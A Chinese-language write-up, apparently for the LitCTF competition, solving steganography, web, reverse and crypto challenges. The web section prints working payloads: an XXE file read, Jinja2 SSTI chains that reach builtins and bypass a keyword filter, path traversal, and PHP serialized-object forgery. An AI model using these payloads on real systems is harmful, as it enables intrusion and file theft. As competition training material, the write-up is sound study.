目錄
Misc
涐貪戀和伱、甾―⑺dé毎兮毎秒
你說得對,但__
盯幀珍珠
Everywhere We Go
關鍵,太關鍵了!
女裝照流量
原鐵,啟動!
舔到最后應有盡有
The love
Web
exx
一個....池子?
SAS - Serializing Authentication System
瀏覽器也能套娃?
高亮主題(劃掉)背景查看器
百萬美元的誘惑
Reverse
編碼喵
Crypto
common_primes
Misc
涐貪戀和伱、甾―⑺dé毎兮毎秒
題目只給了一張圖片,zsteg秒了,flag:LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5bcb9bd6}
你說得對,但__
題目只給了一個png文件,是個二維碼
直接掃描得到云·原神(原神哈哈哈哈哈!!!)
將圖片放到010里面發現文件頭為jpg格式的,修改后綴后進行分離(可使用binwalk或者foremost)
得到四部分不完整的二維碼,猜測拼接后掃描
掃描后得到flag:LitCTF{Genshin_St@rt!!}
盯幀珍珠
題目給了一張jpg圖片,放到010里面發現文件頭為gif格式的,修改后綴后使用工具分離得到一堆圖片,在其中可以發現組成flag的部分
最終的flag為:LitCTF{You_are_really_staring_at_frames!}
Everywhere We Go
題目只給了一個音頻文件secret.wav,放入Audacity查看一下,切換到頻譜圖,放大后發現flag:flag{Calculate_Step_By_Step}
即:LitCTF{Calculate_Step_By_Step}
關鍵,太關鍵了!
題目給了兩個文本flag.txt和key.txt,根據題目提示,將key.txt內容字頻統計一下可以到一個暫定的key:bingo
題目名叫關鍵,猜測為關鍵字解密,用隨波逐流秒了,flag:LitCTF{i_miss_you_boss}
女裝照流量
我們拿到一個流量包,首先查看它的http流
發現很多上傳文件的流量,分析過后得到關鍵信息(注意:因為蟻劍的流量為url編碼+base64混淆。我們需要先進行url解密,在進行base解密)
通過上述流量我們可以得到密鑰key:PaSsw0rd_LitCtF_L0vely_tanJi
分析過程如下:
Y2QgL2QgIkM6XFxQcm9ncmFtIEZpbGVzXFxwaHBzdHVkeV9wcm9cXFdXV1xcTGl0Q1RGLXBjYXBuZyImemlwIC1QICJQYVNzdzByZF9MaXRDdEZfTDB2ZWx5X3RhbkppIiBmMWFnLnppcCBmbGFnLnBocCZlY2hvIDFhOTI1JmNkJmVjaG8gNmZmZWIx ? ? #屬于蟻劍的流量特征,這里需要我們刪除流量信息中的前兩個字符后才能得到無混淆base64。 base64解密后得到 cd /d "C:\\Program Files\\phpstudy_pro\\WWW\\LitCTF-pcapng"&zip -P "PaSsw0rd_LitCtF_L0vely_tanJi" f1ag.zip flag.php&echo 1a925&cd&echo 6ffeb1
這個流量包的信息是
QzovUHJvZ3JhbSBGaWxlcy9waHBzdHVkeV9wcm8vV1dXL0xpdENURi1wY2FwbmcvZjFhZy56aXA= base64解密后得到 C:/Program Files/phpstudy_pro/WWW/LitCTF-pcapng/f1ag.zip ? ? #說明這里有一個zip文件
我們將其提取出來發現需要密碼,用前面分析得到key即可進行解壓縮,得到flag:LitCTF{anTsw0rd_fl0w_is_eAsY_f0r_u}
<?php $flag = "LitCTF{anTsw0rd_fl0w_is_eAsY_f0r_u}";
原鐵,啟動!
一眼丁真,對照后得到flag:LitCTF{good_gamer}
舔到最后應有盡有
base64隱寫,PuzzleSolver秒了,flag:LitCTF{TanJi_j1e_jie_n1_dAi_w0_z0u_b_}
The love
題目給了一張圖片和一個音頻文件,將圖片放入010發現尾部有 Litctf??????ftctiL 并發現PK字樣
這里肯定是分離得到zip文件,然后進行掩碼攻擊了,得到密鑰:Litctf202405ftctiL
解壓后得到一個假的flag.txt,和一個含有base字符串的password.txt
flag{這是假的!!!就像愛情_以為得到了_還是得不到} ? Ykc5MlpWOXBjMTl3WVdsdVpuVnM= base64解密:bG92ZV9pc19wYWluZnVs base64解密:love_is_painful
最后的key為:love_is_painful
用deepsound解密音頻后得到flag_real.txt,最終的flag為:Litctf{wish_you_can_find_your_true_love}
Web
exx
題目給了一個登錄頁面,隨便輸入賬號密碼(admin,123456),burp抓包
根據題目描述,這題考點xxe沒跑了
#payload如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "php://filter/resource=/flag"> #利用php協議讀取/flag
]>
<user><username>
&xxe; #調用xxe,執行語句"php://filter/resource=/flag"
</username><password>123456</password></user>
?
一個....池子?
首先隨便輸入123,返回結果是123
接著我們嘗試輸入{{3*3}},返回結果為9
標準的ssti模版注入,我們首先查看一下app.py(最好用burp抓包顯示,看起來方便)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
可以在里面找到waf,過濾了一些字符。我們可以用字符串拼接的方式繞過waf
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
找到了flag文件,字符串拼接讀取flag(flag不拼接也可以,沒過濾flag,我這里套的模版)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/fl'+'ag','r').read()}}{% endif %}{% endfor %}
SAS - Serializing Authentication System
題目如下
#密鑰許可規則
?
<?php
class User {public $username;public $password;function __construct($username, $password) {$this->username = $username;$this->password = $password;}function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
?
?這個PHP代碼定義了一個名為 User 的類,并包括以下幾個部分: 屬性: $username:公共屬性,用于存儲用戶名。 $password:公共屬性,用于存儲密碼。 構造函數: __construct($username, $password):這是類的構造函數,接受兩個參數(用戶名和密碼)。構造函數在創建對象時被自動調用,初始化 username 和 password 屬性。 ? 方法: isValid():這個方法用于驗證用戶名和密碼是否匹配預定義的值。它返回一個布爾值(true 或 false)。在這個示例中,當 username 為 'admin' 且 password 為 'secure_password' 時,返回 true,否則返回 false。
分析過后編寫poc,如下
<?php
class User {public $username;public $password;function __construct($username, $password) {$this->username = $username;$this->password = $password;}function isValid() {return $this->username === 'admin' && $this->password === 'secure_password';}
}$user = new User('admin', 'secure_password');
echo base64_encode(serialize($user));
?>
#在主代碼中,創建了一個新的User對象,用戶名為'admin',密碼為'secure_password'。然后,使用serialize()函數將該對象序列化為字符串,并使用base64_encode()函數對其進行編碼。
運行后得到payload:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiJzZWN1cmVfcGFzc3dvcmQiO30=
瀏覽器也能套娃?
題目如下
直接在輸入框中讀取flag即可,這里使用PHP偽協議
php://filter/resource=/flag
?
高亮主題(劃掉)背景查看器
題目如下
<?php
// 文件包含漏洞演示
if (isset($_GET['url'])) {// 讀取并包含用戶輸入的文件$file = $_GET['url'];if (strpos($file, '..') === false) {include $file;} else {echo "Access denied.";}
} else {echo "No file specified.";
}
?>
分析過后,其實就是一個簡單的文件包含theme=theme1.php,burp抓包修改請求方式為post
先ls看一下,沒發現什么重要的信息,猜測flag在根目錄或者更高級目錄
目錄穿越一下,得到flag
theme=../../../../flag
百萬美元的誘惑
這個題目有兩層,第一層
第一層payload如下
?a[]=1&b[]=2&c=2025a
訪問dollar.php,來到第二層
第二層payload如下
?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
查看源碼后得到flag
Reverse
編碼喵
查殼后64位,放入ida
shift+f12,發現一串base64密文,和一個解密映射表(base64換表解密)
tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0= #密文
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/ #映射表
賽博櫥子秒了,flag:LitCTF{03034ed8-a2da-4aa6-b2c9-01ace9e26301}
Crypto
common_primes
#infofrom Crypto.Util.number import *
from secret import flagm = bytes_to_long(flag)
e = 65537
p = getPrime(512)
q1 = getPrime(512)
q2 = getPrime(512)
n1 = p * q1
n2 = p * q2
c1 = pow(m, e, n1)
c2 = pow(m, e, n2)print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")'''
n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420
'''
#expimport libnum
import gmpy2e= 65537
n1= 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2= 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1= 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2= 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420#求最大公約數
q=gmpy2.gcd(n1,n2)
p1=n1//qphi_n=(q-1)*(p1-1)
#求逆元d
d1=libnum.invmod(e,phi_n)
m=pow(c1,d1,n1)
print("m=",m)
#數字轉字節,轉字符串
print(libnum.n2s(int(m)).decode())
#outputm= 38001428468493606140291085290464475306493666574265620008311218108580381088400212852503677
LitCTF{c0mmunity_w1th_two_ciphert3xt}